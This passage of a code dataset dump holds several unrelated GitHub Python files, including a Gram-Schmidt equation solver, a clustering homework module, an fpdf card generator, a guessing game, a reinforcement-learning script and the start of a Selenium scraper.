print('Saving', cli_opts.path, 'from', cli_opts.hostname)\n save_as(conn_data, remote_path, cli_opts)\n return None\n\n\n@result_handler()\ndef handle_result(args: List[str], data: Result, target_window_id: int, boss: BossType) -> None:\n if data:\n from kitty.fast_data_types import get_options\n cmd = command_for_open(get_options().open_url_with)\n open_cmd(cmd, data)\n\n\nif __name__ == '__main__':\n main(sys.argv)\n","repo_name":"kovidgoyal/kitty","sub_path":"kittens/remote_file/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":13895,"program_lang":"python","lang":"en","doc_type":"code","stars":20382,"dataset":"github-code","pt":"7"} +{"seq_id":"887532296","text":"import numpy as np\nimport math\nimport pickle\nimport json\n\ndef norm(vec):\n return np.dot(vec,vec)**0.5\n\ndef project(v1,v2):\n '''\n project v1 onto v2\n return how much to scale\n '''\n if np.allclose(v2,np.zeros(v2.shape[0])):\n return 0\n return np.dot(v1,v2)/np.dot(v2,v2)\n\n\n#A = np.array([[1,4],[1,0],[0,0]],dtype=float)\n#A = np.array([[1,1,1],[1,-1,1],[-1,-1,1]],dtype=float)\n\ndef gram_schmidt(A):\n '''\n A must be of type float\n '''\n R = np.zeros((A.shape[1],A.shape[1]))\n Q = np.zeros(A.shape)\n vec1norm = norm(A[:,0])\n Q[:,0] = A[:,0]/vec1norm\n R[0,0] = vec1norm\n\n for col in range(1,A.shape[1]):\n vector = A[:,col]\n orthogonal_component = vector.copy()\n for prior_col in range(col):\n q = Q[:,prior_col]\n multiples_of_q = project(vector,q)\n R[prior_col, col] = multiples_of_q\n projection_onto_prior_q = multiples_of_q * q\n orthogonal_component = orthogonal_component - projection_onto_prior_q\n \n orthogonal_component_length = norm(orthogonal_component)\n if math.isclose(orthogonal_component_length, 0, abs_tol=1e-15):\n orthogonal_component_length = 0\n normalized_orthogonal_component = np.zeros(A.shape[0]) #avoid division by 0 => nans\n else:\n normalized_orthogonal_component = orthogonal_component/orthogonal_component_length\n R[col,col] = orthogonal_component_length\n Q[:,col] = normalized_orthogonal_component\n return Q,R\n\ndef back_substitution(upper_triangular, response_var):\n x = np.zeros(upper_triangular.shape[0])\n x[-1] = response_var[-1]/upper_triangular[-1,-1] #get the last variable's value\n\n for i in range(response_var.shape[0]-2,-1,-1): #start from the second to last variable\n prior_coefficients = x[:i:-1]\n substitution = prior_coefficients@upper_triangular[i,:i:-1]\n pivot = upper_triangular[i,i]\n solution = (response_var[i]-substitution)/pivot\n if math.isclose(solution, 0, abs_tol=1e-15):\n x[i] = 0\n else:\n x[i] = solution\n\n return x\n'''\nA = np.array([[1,1,1],[1,-1,1],[-1,-1,1]],dtype=float)\nQ,R = gram_schmidt(A)\nb = np.array([6., 2., 0.]) # inside of the plane formed by A[:,0] and A[:,1]\n\nb_rotated = Q.T @ b\nb_projection = Q @ Q.T @ b\n\n\nif np.allclose(b,b_projection):\n print(\"\")\n'''\n\ndef is_in_column_space(Q, b):\n b_project_on_Q = Q @ Q.T @ b\n return np.allclose(b_project_on_Q, b)\n\ndef calculate_determinant(R):\n determinant = 1\n for col in range(R.shape[1]):\n determinant = determinant * R[col,col]\n return determinant\n\ndef solve(A, b):\n Q,R = gram_schmidt(A)\n if is_in_column_space(Q, b):\n determinant = calculate_determinant(R)\n if math.isclose(determinant,0):\n return np.inf\n b_rotated = Q.T @ b\n x = back_substitution( R, b_rotated )\n return x\n else:\n return None\n\ndef json_to_numpy(data):\n dct = json.loads(data)\n A = np.array(dct['independentVars'])\n b = np.array(dct['dependentVars'])\n return A,b\n\nA=np.array([[1,2],[3,2],[0,0]],dtype=float)\nb=np.array([5,7,0],dtype=float)\nsolve(A,b)\n\nsolve(np.array([[4,2,1],[2,1,-1]],dtype=float),np.array([1,1],dtype=float),)\nA = np.array([[1,2,1],[1,2,2]])\nb = np.array([2,3])\nprint(solve(A,b))\nA = np.array([[1,2,0],[0,0,1]])\nb = np.array([1,1])\nprint(f\"Expected Infinity got {str(solve(A,b))}\")\nA = np.array([[1,2,3],[0,0,0]])\nb = np.array([1,1])\nprint(f\"Expected None got {str(solve(A,b))}\")\nA = np.array([[1,2,3],[4,5,6],[10,2,-3]])\nb = np.array([25, 67, 55])\nprint(f\"expected: 4,9,1 got {str(solve(A,b))}\")\nA = np.array([[1,2,3],[4,5,6],[10,2,-3],[1,4,8]])\nb = np.array([202.02, 472.05, 172.02, 482.04]) \nprint(f\"expected: 34,0.01,56 got {str(solve(A,b))}\")\n\nA = np.array([[1,2,3],[4,5,6],[10,2,-3],[1,4,8]])\nb = np.array([202.02, 472.05, 172.02, 482.04]) \nprint(f\"expected: 34,0.01,56 got {str(solve(A,b))}\")\n\nnp.random.seed(123)\nA = np.random.randint(1,100,(2,8))\nnp.random.seed(123)\nx = np.random.randint(1,100,(A.shape[1]))\nb = A@x\nprint(f\"expected: {str(x)} got {str(solve(A,b))}\")\n\n#singular case\n\n","repo_name":"wlai0611/gramSchmidtEquationSolver","sub_path":"funcs.py","file_name":"funcs.py","file_ext":"py","file_size_in_byte":4358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"8009643550","text":"import os\n\nfrom PIL import Image\n\nfrom src.wantedposter.wantedposter import WantedPoster\n\n\ndef main():\n # Open test portrait\n portrait_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'luffy.jpg')\n\n # Set \"Luffy\" as first name and \"D. Monkey\" as last name\n first_name = 'Luffy'\n last_name = 'Monkey D.'\n\n # Set bounty amount to 3.000.000.000\n bounty_amount = 3_000_000_000\n\n # Create WantedPoster object\n wanted_poster = WantedPoster(portrait_path, first_name, last_name, bounty_amount)\n\n # Generate poster\n path = wanted_poster.generate(should_make_portrait_transparent=True)\n\n # Show image\n Image.open(path).show()\n\n # Delete generated image\n os.remove(path)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Nickelza/one-piece-wanted-poster","sub_path":"test/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"1725550834","text":"from fpdf import FPDF\n\n\nclass PDF(FPDF):\n def header(self):\n self.set_font('Arial', 'B', 16)\n self.set_line_width(1)\n self.cell(0, 24, 'Spell Title', border='B', align='L')\n self.cell(0, 24, 'Cantrip 1', border='B', align='R', ln=1)\n pass # nothing happens when it is executed.\n\n\npdf = PDF(orientation='L', unit='pt', format=(216, 360))\npdf.add_page()\npdf.set_font('Arial', '', 8)\npdf.set_margins(26, 26, 26)\npdf.cell(0, 4, ln=2)\ntrait_w = pdf.get_string_width('Trait#')\npdf.set_draw_color(216, 196, 131)\npdf.set_fill_color(82, 46, 44)\npdf.set_text_color(255, 255, 255)\npdf.set_line_width(1)\npdf.cell(trait_w+8, 12, 'Trait1', border=1, ln=0, align='C', fill=True)\npdf.cell(trait_w+8, 12, 'Trait2', border=1, ln=0, align='C', fill=True)\npdf.cell(trait_w+8, 12, 'Trait3', border=1, ln=0, align='C', fill=True)\npdf.cell(trait_w+8, 12, 'Trait4', border=1, ln=1, align='C', fill=True)\npdf.set_text_color(0, 0, 0)\npdf.set_font('Arial', 'B', 8)\ntradition_w = pdf.get_string_width('Traditions:')\npdf.cell(tradition_w+2, 16, 'Traditions:', ln=0, align='L')\npdf.set_font('Arial', 'IU', 8)\ntraditions_w = pdf.get_string_width('Tradition#')\npdf.cell(traditions_w+8, 16, 'Tradition1,', ln=0, align='L')\npdf.cell(traditions_w+8, 16, 'Tradition2,', ln=0, align='L')\npdf.cell(traditions_w+8, 16, 'Tradition3,', ln=0, align='L')\npdf.cell(traditions_w+8, 16, 'Tradition4', ln=0, align='L')\npdf.output('spell.pdf', 'F')\n","repo_name":"DevinAtoms/Py2e_Flaskapp","sub_path":"pdf.py","file_name":"pdf.py","file_ext":"py","file_size_in_byte":1436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"27602307027","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport pickle\n\n\ndef circles_example():\n \"\"\"\n an example function for generating and plotting synthetic data.\n \"\"\"\n\n t = np.arange(0, 2 * np.pi, 0.03)\n length = np.shape(t)\n length = length[0]\n circle1 = np.matrix([np.cos(t) + 0.1 * np.random.randn(length),\n np.sin(t) + 0.1 * np.random.randn(length)])\n circle2 = np.matrix([2 * np.cos(t) + 0.1 * np.random.randn(length),\n 2 * np.sin(t) + 0.1 * np.random.randn(length)])\n circle3 = np.matrix([3 * np.cos(t) + 0.1 * np.random.randn(length),\n 3 * np.sin(t) + 0.1 * np.random.randn(length)])\n circle4 = np.matrix([4 * np.cos(t) + 0.1 * np.random.randn(length),\n 4 * np.sin(t) + 0.1 * np.random.randn(length)])\n circles = np.concatenate((circle1, circle2, circle3, circle4), axis=1)\n\n return circles\n\n\ndef apml_pic_example(path='APML_pic.pickle'):\n \"\"\"\n an example function for loading and plotting the APML_pic data.\n\n :param path: the path to the APML_pic.pickle file\n \"\"\"\n\n with open(path, 'rb') as f:\n apml = pickle.load(f)\n\n plt.plot(apml[:, 0], apml[:, 1], '.')\n plt.show()\n\n\ndef microarray_exploration(data_path='microarray_data.pickle',\n genes_path='microarray_genes.pickle',\n conds_path='microarray_conds.pickle'):\n \"\"\"\n an example function for loading and plotting the microarray data.\n Specific explanations of the data set are written in comments inside the\n function.\n\n :param data_path: path to the data file.\n :param genes_path: path to the genes file.\n :param conds_path: path to the conds file.\n \"\"\"\n\n # loading the data:\n with open(data_path, 'rb') as f:\n data = pickle.load(f)\n with open(genes_path, 'rb') as f:\n genes = pickle.load(f)\n with open(conds_path, 'rb') as f:\n conds = pickle.load(f)\n\n return data\n\n\ndef euclid(X, Y):\n \"\"\"\n return the pair-wise euclidean distance between two data matrices.\n :param X: NxD matrix.\n :param Y: MxD matrix.\n :return: NxM euclidean distance matrix.\n \"\"\"\n result = np.ndarray(shape=(len(X), len(Y)))\n for idx, x in enumerate(X):\n result[idx] = np.linalg.norm(Y - x, axis=-1)\n return result\n\n\ndef euclidean_centroid(X):\n \"\"\"\n return the center of mass of data points of X.\n :param X: a sub-matrix of the NxD data matrix that defines a cluster.\n :return: the centroid of the cluster.\n \"\"\"\n return X.mean(axis=0)\n\n\ndef kmeans_pp_init(X, k, metric):\n \"\"\"\n The initialization function of kmeans++, returning k centroids.\n :param X: The data matrix.\n :param k: The number of clusters.\n :param metric: a metric function like specified in the kmeans documentation.\n :return: kxD matrix with rows containing the centroids.\n \"\"\"\n # pick first centroid at random\n centroids = np.ndarray(shape=(k, len(X[0])))\n centroids[0] = X[np.random.randint(len(X), size=1)]\n for i in range(1, k):\n # calculate dist matrix for all remaining\n min_distances = np.min(metric(X, centroids), axis=1)\n normalized_rand_probs = (min_distances ** 2) / np.sum(min_distances ** 2)\n normalized_rand_probs[np.isnan(normalized_rand_probs)] = 0\n centroids[i] = X[np.random.choice(len(X), size=1, p=normalized_rand_probs)]\n return centroids\n\n\ndef kmeans(X, k, iterations=10, metric=euclid, center=euclidean_centroid, init=kmeans_pp_init):\n \"\"\"\n The K-Means function, clustering the data X into k clusters.\n :param X: A NxD data matrix.\n :param k: The number of desired clusters.\n :param iterations: The number of iterations.\n :param metric: A function that accepts two data matrices and returns their\n pair-wise distance. For a NxD and KxD matrices for instance, return\n a NxK distance matrix.\n :param center: A function that accepts a sub-matrix of X where the rows are\n points in a cluster, and returns the cluster centroid.\n :param init: A function that accepts a data matrix and k, and returns k initial centroids.\n :return: a tuple of (clustering, centroids, statistics)\n clustering - A N-dimensional vector with indices from 0 to k-1, defining the clusters.\n centroids - The kxD centroid matrix.\n \"\"\"\n best_loss, best_centroids, best_clustering = np.inf, None, None\n\n for i in range(iterations):\n centroids = init(X, k, metric)\n last_clustering = np.zeros(shape=len(X))\n while True:\n clustering = np.argmin(euclid(X, centroids), axis=1)\n if np.equal(clustering, last_clustering).all(): # didn't change\n break\n for cluster in range(k): # update\n if X[clustering == cluster].any(): # if set is empty - don't update\n centroids[cluster] = center(X[clustering == cluster])\n last_clustering = clustering\n # converged -- no change was made in last step\n loss = elbow(X, k, centroids, clustering)\n if loss < best_loss:\n best_loss, best_centroids, best_clustering = loss, centroids, clustering\n\n return best_clustering, best_centroids, None\n\n\ndef gaussian_kernel(X, sigma):\n \"\"\"\n calculate the gaussian kernel similarity of the given distance matrix.\n :param X: A NxN distance matrix.\n :param sigma: The width of the Gaussian in the heat kernel.\n :return: NxN similarity matrix.\n \"\"\"\n return np.power(np.e, - (X ** 2) / (2 * (sigma ** 2)))\n\n\ndef mnn(X, m):\n \"\"\"\n calculate the m nearest neighbors similarity of the given distance matrix.\n :param X: A NxN distance matrix.\n :param m: The number of nearest neighbors.\n :return: NxN similarity matrix.\n \"\"\"\n similarity_matrix = np.zeros_like(X)\n # find m nearest neighbors for each sample\n nearest_neighbors = np.argpartition(X, m, axis=1)\n idx = 0\n for neighbors in nearest_neighbors:\n similarity_matrix[idx, neighbors[:m]] = 1\n similarity_matrix[neighbors[:m], idx] = 1\n idx += 1\n return similarity_matrix\n\n\ndef spectral(X, k, similarity_param, similarity=gaussian_kernel):\n \"\"\"\n Cluster the data into k clusters using the spectral clustering algorithm.\n :param X: A NxD data matrix.\n :param k: The number of desired clusters.\n :param similarity_param: m for mnn, sigma for the Gaussian kernel.\n :param similarity: The similarity transformation of the data.\n :return: clustering, as in the kmeans implementation.\n \"\"\"\n # calculate dist matrix\n dist_matrix = euclid(X, X)\n # get similarity matrix\n similarity_matrix = similarity(dist_matrix, similarity_param)\n # get diagonal degree matrix\n diagonal_matrix = np.diag(np.sum(similarity_matrix, axis=1))\n # laplacian matrix by given formula\n inv_diagonal = np.sqrt(np.linalg.pinv(diagonal_matrix))\n laplacian_matrix = np.identity(len(X)) - inv_diagonal @ similarity_matrix @ inv_diagonal\n # get lowest eigen vectors\n w, v = np.linalg.eigh(laplacian_matrix)\n eigen_vectors = v[:, np.argpartition(w, k)[:k]]\n return eigen_vectors\n\n\n# -------------- Added functions --------------\n\ndef choose_sigma(dist_matrix):\n # get and plot histogram\n hist, bin_edges = np.histogram(dist_matrix)\n plt.hist(hist)\n plt.title(\"histogram of sigma values\")\n plt.show()\n plt.cla()\n return bin_edges\n\n\ndef silhouette(X, k, clustering, dist_matrix):\n \"\"\"\n return the silhouette score\n :param k: amount of clusters\n :param clustering: the clustering (size samples)\n :param dist_matrix: the distance matrix, to avoid recalculating\n :return: the silhouette score\n \"\"\"\n silhouette_scores = np.zeros(shape=len(X))\n for sample_index, sample in enumerate(X):\n sample_cluster_index = clustering[sample_index]\n samples_indices_in_same_cluster = [x[0] for x in np.argwhere(clustering == sample_cluster_index)]\n # calculate a\n if len(samples_indices_in_same_cluster) == 1:\n a = 0 # distance from itself is 0\n else:\n a = np.sum(dist_matrix[sample_index][samples_indices_in_same_cluster]) / (\n len(samples_indices_in_same_cluster) - 1)\n # find distance from all other clusters\n min_b = np.inf\n b = 0\n for c in range(k):\n if c != sample_cluster_index: # for all other clusters\n indices_of_samples_in_other_cluster = [x[0] for x in np.argwhere(clustering == c)]\n b = np.mean(dist_matrix[sample_index][indices_of_samples_in_other_cluster])\n if b < min_b:\n min_b = b\n silhouette_scores[sample_index] = (b - a) / np.fmax(a, b)\n return np.mean(silhouette_scores)\n\n\ndef eigen_gap(eigenvalues):\n \"\"\"\n return the index where the largest eigen value gap occurs\n :param eigenvalues: the eigenvalues\n :return: approximate k\n \"\"\"\n return np.argmax(np.diff(eigenvalues))\n\n\ndef get_synth_data():\n x1 = np.random.normal(loc=1, scale=1, size=50)\n y1 = np.random.normal(loc=1, scale=1, size=50)\n x2 = np.random.normal(loc=9, scale=1, size=50)\n y2 = np.random.normal(loc=9, scale=1, size=50)\n x3 = np.random.normal(loc=0, scale=1, size=50)\n y3 = np.random.normal(loc=8, scale=1, size=50)\n\n # plt.scatter(x1, y1, color='b')\n # plt.scatter(x2, y2, color='r')\n # plt.scatter(x3, y3, color='g')\n # plt.show()\n\n first = [(x, y) for x, y in zip(x1, y1)]\n second = [(x, y) for x, y in zip(x2, y2)]\n third = [(x, y) for x, y in zip(x3, y3)]\n return first + second + third\n\n\ndef elbow(X, k, centroids, clustering):\n loss = 0.0\n for i in range(k):\n cluster_indices = [x[0] for x in np.argwhere(clustering == i)]\n samples = X[cluster_indices]\n loss += np.fabs(np.sum(np.sum(samples - centroids[i], axis=0))) / len(cluster_indices)\n return loss\n\n\ndef plot_results(X, clustering, centroids, K, title=\"\"):\n colors = ['red', 'yellow', 'purple', 'green']\n # plot points by clustering\n for k in range(K):\n indices = [x[0] for x in np.argwhere(clustering == k)]\n plt.scatter(X[indices][:, 0], X[indices][:, 1], color=colors[k])\n # plot centroids\n plt.scatter([t[0] for t in centroids], [t[1] for t in centroids], color='black')\n plt.title(title)\n plt.show()\n plt.cla()\n\n\ndef k_means_synth():\n points = get_synth_data()\n K = 3\n X = np.array(points)\n clustering, centroids, _ = kmeans(X, K, iterations=10)\n plot_results(X, clustering, centroids, K, \"k means on synth data\")\n\n\ndef k_means_circles():\n points = circles_example().T\n K = 4\n X = np.array(points)\n clustering, centroids, _ = kmeans(X, K, iterations=10)\n plot_results(X, clustering, centroids, K, \"k means on circles data\")\n\n\ndef spectral_synth():\n points = get_synth_data()\n K = 3\n X = np.array(points)\n bin_edges = choose_sigma(euclid(X, X))\n # get different results for different percentiles\n normalized_eigen_vectors = spectral(X, K, similarity_param=bin_edges[7], similarity=gaussian_kernel)\n clustering, centroids, _ = kmeans(normalized_eigen_vectors, K, iterations=10)\n plot_results(X, clustering, centroids, K,\n \"spectral on synth data with gaussian kernel and sigma=%.2f\" % bin_edges[7])\n\n normalized_eigen_vectors = spectral(X, K, similarity_param=bin_edges[2], similarity=gaussian_kernel)\n clustering, centroids, _ = kmeans(normalized_eigen_vectors, K, iterations=10)\n plot_results(X, clustering, centroids, K,\n \"spectral on synth data with gaussian kernel and sigma=%.2f\" % bin_edges[2])\n\n normalized_eigen_vectors = spectral(X, K, similarity_param=bin_edges[4], similarity=gaussian_kernel)\n clustering, centroids, _ = kmeans(normalized_eigen_vectors, K, iterations=10)\n plot_results(X, clustering, centroids, K,\n \"spectral on synth data with gaussian kernel and sigma=%.2f\" % bin_edges[4])\n\n\ndef spectral_circles():\n points = circles_example().T\n K = 4\n X = np.array(points)\n bin_edges = choose_sigma(euclid(X, X))\n # get different results for different percentiles\n normalized_eigen_vectors = spectral(X, K, similarity_param=bin_edges[7], similarity=gaussian_kernel)\n clustering, centroids, _ = kmeans(normalized_eigen_vectors, K, iterations=10)\n plot_results(X, clustering, centroids, K,\n \"spectral on synth data with gaussian kernel and sigma=%.2f\" % bin_edges[7])\n\n normalized_eigen_vectors = spectral(X, K, similarity_param=0.1, similarity=gaussian_kernel)\n clustering, centroids, _ = kmeans(normalized_eigen_vectors, K, iterations=10)\n plot_results(X, clustering, centroids, K,\n \"spectral on synth data with gaussian kernel and sigma=%.2f\" % 0.1)\n\n normalized_eigen_vectors = spectral(X, K, similarity_param=bin_edges[4], similarity=gaussian_kernel)\n clustering, centroids, _ = kmeans(normalized_eigen_vectors, K, iterations=10)\n plot_results(X, clustering, centroids, K,\n \"spectral on synth data with gaussian kernel and sigma=%.2f\" % bin_edges[4])\n\n\ndef plotting_similarity_matrix():\n points = get_synth_data() # this is the ordered, clustered data\n K = 3\n X = np.array(points)\n clustered_w = mnn(euclid(X, X), 2)\n\n # shuffle X\n np.random.shuffle(X)\n shuffled_w = mnn(euclid(X, X), 2)\n\n plt.matshow(shuffled_w)\n plt.show()\n plt.cla()\n plt.matshow(clustered_w)\n plt.show()\n plt.cla()\n\n\ndef choose_k():\n # get k silhouette values for different k's and plot their values\n points = get_synth_data()\n X = np.array(points)\n silhouette_scores = []\n dist_matrix = euclid(X, X)\n for k in range(1, 10):\n clustering, centroids, _ = kmeans(X, k, iterations=10)\n silhouette_scores.append(silhouette(X, k, clustering, dist_matrix))\n # plot the scores\n plt.plot(range(1, 10), silhouette_scores)\n plt.title(\"silhouette scores by k\")\n plt.show()\n\n\ndef biological_clustering():\n data = microarray_exploration()\n\n silhouette_kmeans_scores = np.zeros(shape=15)\n silhouette_spectral_gaussian_scores = np.zeros(shape=15)\n silhouette_spectral_mnn_scores = np.zeros(shape=15)\n elbows_kmeans_scores = np.zeros(shape=15)\n elbows_spectral_gaussian_scores = np.zeros(shape=15)\n elbows_spectral_mnn_scores = np.zeros(shape=15)\n\n dist_matrix = euclid(data, data)\n sigma_param = choose_sigma(dist_matrix)[7]\n mnn_param = 5\n\n for k in range(1, 16):\n # calculate for k means\n clustering, centroids, _ = kmeans(data, k, iterations=1)\n silhouette_kmeans_scores[k - 1] = silhouette(data, k, clustering, dist_matrix)\n elbows_kmeans_scores[k - 1] = elbow(data, k, centroids, clustering)\n print(silhouette_kmeans_scores)\n print(elbows_kmeans_scores)\n\n # calculate for spectral with gaussian\n normalized_eigen_vectors = spectral(data, k, similarity_param=sigma_param, similarity=gaussian_kernel)\n clustering, centroids, _ = kmeans(normalized_eigen_vectors, k, iterations=1)\n silhouette_spectral_gaussian_scores[k - 1] = silhouette(data, k, clustering, dist_matrix)\n elbows_spectral_gaussian_scores[k - 1] = elbow(data, k, centroids, clustering)\n\n # calculate for spectral with mnn\n normalized_eigen_vectors = spectral(data, k, similarity_param=mnn_param, similarity=mnn)\n clustering, centroids, _ = kmeans(normalized_eigen_vectors, k, iterations=1)\n silhouette_spectral_mnn_scores[k - 1] = silhouette(data, k, clustering, dist_matrix)\n elbows_spectral_mnn_scores[k - 1] = elbow(normalized_eigen_vectors, k, centroids, clustering)\n\n print(\"mnn sil:\" + str(silhouette_spectral_mnn_scores))\n print(\"mnn elbow:\" + str(elbows_spectral_mnn_scores))\n print(\"gaus sil:\" + str(silhouette_spectral_gaussian_scores))\n print(\"gaus elbow:\" + str(elbows_spectral_gaussian_scores))\n\n # plot graphs for results\n fig, axs = plt.subplots(1, 2)\n x = range(1, 16)\n axs[0].plot(x, silhouette_kmeans_scores, label='kmeans_silhouette_scores', color='blue')\n axs[1].plot(x, elbows_kmeans_scores, label='kmeans_elbows_scores', color='green')\n fig.suptitle(\"k means silhouette and elbows scores by k\")\n plt.show()\n plt.cla()\n\n fig, axs = plt.subplots(2, 2)\n x = range(1, 16)\n axs[0][0].plot(x, silhouette_spectral_gaussian_scores, label='spectral gaussian silhouette', color='blue')\n axs[0][1].plot(x, silhouette_spectral_mnn_scores, label='spectral mnn silhouette', color='green')\n axs[1][0].plot(x, elbows_spectral_gaussian_scores, label='spectral gaussian elbow', color='blue')\n axs[1][1].plot(x, elbows_spectral_mnn_scores, label='spectral mnn elbow', color='green')\n fig.suptitle(\"Spectral clustering with gaussian and mnn\")\n plt.show()\n plt.cla()\n\n\ndef tsne():\n from sklearn.datasets import load_digits\n from sklearn.manifold import TSNE\n from sklearn.decomposition import PCA\n data, target = load_digits(return_X_y=True)\n\n # TSNE\n embedded_data = TSNE(n_components=2).fit_transform(data)\n\n for i in range(10): # possible digits\n sample_indices = [idx[0] for idx in np.argwhere(target == i)]\n plt.scatter(embedded_data[sample_indices, 0], embedded_data[sample_indices, 1])\n plt.show()\n plt.cla()\n\n # PCA\n embedded_data = PCA(n_components=2).fit_transform(data)\n\n for i in range(10): # possible digits\n sample_indices = [idx[0] for idx in np.argwhere(target == i)]\n plt.scatter(embedded_data[sample_indices, 0], embedded_data[sample_indices, 1])\n plt.show()\n plt.cla()\n\n # ---------------------- use synthetic data ----------------------\n data = get_synth_data()\n target = np.concatenate(\n [np.full(shape=50, fill_value=0), np.full(shape=50, fill_value=1), np.full(shape=50, fill_value=2)], axis=0)\n\n # TSNE\n embedded_data = TSNE(n_components=1).fit_transform(data)\n\n for i in range(3): # possible digits\n sample_indices = [idx[0] for idx in np.argwhere(target == i)]\n plt.plot(embedded_data[sample_indices])\n plt.ylabel(\"embedded value of TSNE\")\n plt.show()\n plt.cla()\n\n # PCA\n embedded_data = PCA(n_components=1).fit_transform(data)\n\n for i in range(3): # possible digits\n sample_indices = [idx[0] for idx in np.argwhere(target == i)]\n plt.plot(embedded_data[sample_indices])\n plt.ylabel(\"embedded value of PCA\")\n plt.show()\n plt.cla()\n\n\nif __name__ == '__main__':\n # k_means_synth()\n # k_means_circles()\n # spectral_synth()\n # spectral_circles()\n # plotting_similarity_matrix()\n # choose_k()\n # biological_clustering()\n # tsne()\n pass\n","repo_name":"ZivMahluf/Spectral-Clustering","sub_path":"Clustering.py","file_name":"Clustering.py","file_ext":"py","file_size_in_byte":18819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"72428492703","text":"from rest_framework import routers\n\nfrom finance_advisor.advisees.views import (\n AdviseeCreateViewSet,\n AdviseeRetrieveUpdateDestroyViewSet,\n)\n\nadvisee_router = routers.DefaultRouter()\nadvisee_router.register(\n \"\", AdviseeRetrieveUpdateDestroyViewSet, \"advisee-retrieve-update-destroy\"\n)\nadvisee_router.register(\"\", AdviseeCreateViewSet, \"advisee-create\")\n","repo_name":"swakeert/finance_advisor_backend","sub_path":"finance_advisor/advisees/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"2948559250","text":"from random import randint\n\n\ndef print_welcome():\n print(\"\\n\"*2 + \" \"*30 + \"This is \\\"Guess the number\\\" game.\\n\")\n\n\ndef ask_level():\n level_selected = int(input(\"Please select difficulty level: 1(range 1:10) or 2(range 1: 100)\\n\"))\n return level_selected\n\n\ndef level(lvl_num):\n if lvl_num == 1:\n lower_bound = 0\n high_bound = 10\n max_attepmt = 4\n elif lvl_num == 2:\n lower_bound = 0\n high_bound = 100\n max_attepmt = 10\n else:\n raise TypeError\n print('You have {} attempts to guess what is the number Watson generated'.format(max_attepmt))\n return (randint(lower_bound, high_bound), max_attepmt)\n\n\ndef main_logic(inn):\n number = inn[0]\n max_attepmt = inn[1]\n attempts = 0\n\n while attempts < max_attepmt:\n user_input = input(\"enter your number:\\n\")\n attempts += 1\n if user_input == str(number):\n print(\"Congrats! you are correct!!\")\n break\n elif user_input > str(number):\n print('Too high!')\n elif user_input < str(number):\n print('Too low!')\n if attempts == max_attepmt:\n print('Game Over. The number was {} '.format(number))\n break\n\n\nprint_welcome()\nlevel_selected = ask_level()\nnum_for_lvl = level(level_selected)\nmain_logic(num_for_lvl)\n","repo_name":"singularity0/practice_Python","sub_path":"guess.py","file_name":"guess.py","file_ext":"py","file_size_in_byte":1333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"36496348116","text":"import fp_classes\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.offsetbox import TextArea, DrawingArea, OffsetImage, AnnotationBbox\nimport time as tm\n\nfrom celluloid import Camera\nfrom datetime import date\nimport datetime\n\nfrom tqdm import tqdm\n\nnow = date.today().strftime(\"%y-%m-%dT\") + datetime.datetime.now().strftime(\"%H_%M_%S\")\n\nKokosnusspalme = [np.linspace(0.8,1,5),np.zeros(5)]\n\nfor i in range(5):\n\tenv = fp_classes.environment()\n\tlearner = fp_classes.agent(env)\n\n\tenv.P_obstacle = Kokosnusspalme[0][i]\n\n\tLAST_TRAJECTORY = []\n\t#Q_VALUES_OVER_TIME = []\n\n\ttotal_action_displacement = 0\n\n\tfor episode in tqdm(range(learner.N_episodes)):\n\t\t\n\t\tlearner.x = env.starting_position\n\t\tlearner.chosen_action = 0\n\n\t\twhile (learner.x != env.target_position) or learner.chosen_action != 1:\n\t\t\tif episode == learner.N_episodes-1: LAST_TRAJECTORY.append(learner.x)\n\t\t\tlearner.adjust_epsilon(episode)\n\t\t\tlearner.choose_action()\n\t\t\tlearner.random_step()\n\t\t\tlearner.stoch_obstacle(env)\n\t\t\tlearner.perform_action(env)\n\t\t\tif(learner.epsilon == 0):\n\t\t\t\ttotal_action_displacement += learner.chosen_action - 1\n\t\t\tlearner.update_Q(env)\n\t\t\t#Q_VALUES_OVER_TIME.append(learner.Q)\n\n\tkappa = total_action_displacement / np.abs(total_action_displacement)\n\tKokosnusspalme[1][i] = kappa\n\tprint(\"kappa: %1.1f\" % kappa)\n\nplt.rc('xtick', labelsize=14) \nplt.rc('ytick', labelsize=14) \nplt.figure(figsize=(8, 6), dpi=80)\nplt.plot(Kokosnusspalme[0][0:5], Kokosnusspalme[1][0:5], color=\"orange\") #\nplt.xlabel(r\"Wahrscheinlichkeit $P_{obstacle}$\", fontsize = 20)\nplt.ylabel(r\"Entscheidung $\\kappa$\", fontsize = 20)\nplt.savefig(\"Stochastisches_Hindernis_kleines_alpha.pdf\")\nplt.show()","repo_name":"Monderkamp/reinforcement_learning_fortgeschrittenenpraktikum","sub_path":"Abgaben/fp_RL_Funk_Nadworna_2023/fp_RL/Aufgabe_4_STOCHASTISCHES_HINDERNIS/fp_reinforcement_learning_main.py","file_name":"fp_reinforcement_learning_main.py","file_ext":"py","file_size_in_byte":1674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"32046703599","text":"from selenium import webdriver\nfrom webdriver_manager.chrome import ChromeDriverManager\nimport pandas as pd\n\noptions = webdriver.ChromeOptions()\noptions.add_argument(\"start-maximized\")\noptions.add_argument(\"--headless\")\ndriver = webdriver.Chrome(ChromeDriverManager().install(), options=options)\n\nlist_page = [\"\", \"A\", \"B\", \"C\", \"D\", \"E\", \"F\", \"G\", \"H\", \"I\", \"J\", \"K\", \"L\", \"M\",\n \"N\", \"O\", \"P\", \"Q\", \"R\", \"S\", \"T\", \"U\", \"V\", \"W\", \"X\", \"Y\", \"Z\", 